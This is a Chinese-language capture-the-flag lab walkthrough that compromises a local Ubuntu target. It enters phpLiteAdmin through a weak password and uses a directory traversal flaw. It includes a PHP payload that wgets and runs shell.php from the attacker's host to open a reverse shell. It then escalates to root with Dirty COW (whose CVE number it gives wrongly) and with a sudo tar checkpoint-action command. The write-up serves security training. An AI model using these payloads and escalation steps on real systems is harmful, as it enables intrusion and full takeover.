实验环境
攻击者:Kali Linux(192.168.0.19)
靶机:Oracle VM VirtualBox 6.1.10——Ubuntu(64-bit)(192.168.0.249)
实验流程
- 端口扫描

- 目录扫描
其中/dbadmin/疑似网站数据库后台管理页面

- 访问url:http://192.168.0.249/dbadmin


- 弱口令:admin

- 该web程序为phpliteadmin v1.9.3,存在远程代码执行漏洞,没有溢出代码,但是有一个利用文档中包含了对于该web应用程序getshell的流程,其中上传的PHP脚本文件需要进行访问才能生效。


- 漏洞探测
通过对该网站进行漏洞扫描发现该网站存在目录遍历漏洞

- 目录遍历漏洞验证

- 结合phpliteadmin的代码执行漏洞和目录遍历漏洞getshell
输入数据库名称,点击create创建数据库——hack.php
点击新创建的数据库,输入数据表名称和数据表中的字段数量,点击go,创建数据表
输入字段名、字段类型,点击create创建字段,注意字段类型选择text。
准备好要上传到服务器上面的文件

利用python创建HTTP服务,将root用户的家目录作为网站的根目录

点击新创建的数据库,选中新创建的数据表,点击insert插入数据。<?php system("wget http://192.168.0.19:8000/shell.php -O /tmp/shell.php; chmod +x /tmp/shell.php; php /tmp/shell.php;"); ?>

攻击机监听端口
利用目录遍历漏洞访问该文件反弹shell:http://192.168.0.249/view.php?page=…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/usr/databases/hack.php

- 获取当前权限:www-data是Linux操作系统中运行web服务的默认用户(权限较低)

- 获取操作系统内发行版本(Ubuntu 12.04.5 LTS)和内核版本(3.2.0-23-generic)

判断是否存在代码溢出漏洞,有溢出代码

- 利用脏牛提权(cve-2016-5159)
将提权文件上传到靶机
溢出代码下地址:https://github.com/FireFart/dirtycow

访问对应的数据库文件


优化shell

编译并执行溢出代码

赋予执行权限

执行溢出代码

切换用户

- 获取flag

- 利用密码复用进行提权
因为需要涉及到切换用户的问题同样需要利用python优化shell
利用获取到的低权限用户在系统中搜寻敏感信息,寻找一些可能存储了密码的敏感文件或者网站的配置文件等,一定要查看系统用户的家目录。

通过查看网站的配置文件拿到数据库用户zico的登录密码

尝试使用该密码切换到zico用户,成功

查看当前用户权限,普通系统用户。

查看当前用户使用sudo命令时的权限
当前用户在使用tar命令和zip命令时拥有root用户的权限,并且不需要验证密码

利用zip提权
首先创建一个空文件

提权成功

同样可以利用tar命令进行提权
sudo -u root tar cf /dev/null exp -checkpoint=1 --checkpoint-action="/bin/bash"